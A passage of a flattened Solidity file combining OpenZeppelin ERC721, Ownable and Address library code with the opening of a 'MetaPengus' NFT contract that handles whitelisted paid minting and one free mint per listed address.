value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/metaPengus.sol
pragma solidity >=0.7.0 <0.9.0;
contract MetaPengus is ERC721Enumerable, Ownable{
using Strings for uint256;
string baseURI;
string baseExtension = ".json";
string notRevealedUri;
uint256 public cost = .05 ether;
uint256 public maxSupply = 8000;
uint256 public nftPerAddressLimit = 4;
bool public paused = true;
bool public revealed = false;
bool public freemintAvail = true;
bool public onlyWhitelisted = true;
address[] public freemintAddresses;
address[] public whitelistedAddresses;
mapping(address => uint256) public addressMintedBalance;
mapping(address => bool) public addressFreeminted;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function freemint() public payable {
require(freemintAvail == true, "free minting is not available");
require(hasFreeMint(msg.sender), "user does not have a free mint");
uint256 supply = totalSupply();
require(supply + 1 <= maxSupply, "max NFT limit exceeded");
bool minted = addressFreeminted[msg.sender];
require(minted == false, "1 free mint per winner");
addressFreeminted[msg.sender] = true;
_safeMint(msg.sender, supply + 1);
}
function mint(uint256 _mintAmount) public payable {
require(paused == false, "the contract is paused");
uint256 supply = totalSupply();
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
if (msg.sender != owner()) {
if(onlyWhitelisted == true) {
require(isWhitelisted(msg.sender), "user is not whitelisted");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded");
}
require(msg.value >= cost * _mintAmount, "insufficient funds");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
if (onlyWhitelisted == true){
addressMintedBalance[msg.sender]++;
}
_safeMint(msg.sender, supply + i);
}
}
function hasFreeMint(address _user) public view returns (bool) {
for (uint i = 0; i < freemintAddresses.length; i++) {
if (freemintAddresses[i] == _user) {
return true;
}
}
return false;
}
function isWhitelisted(address _user) public view returns (bool) {
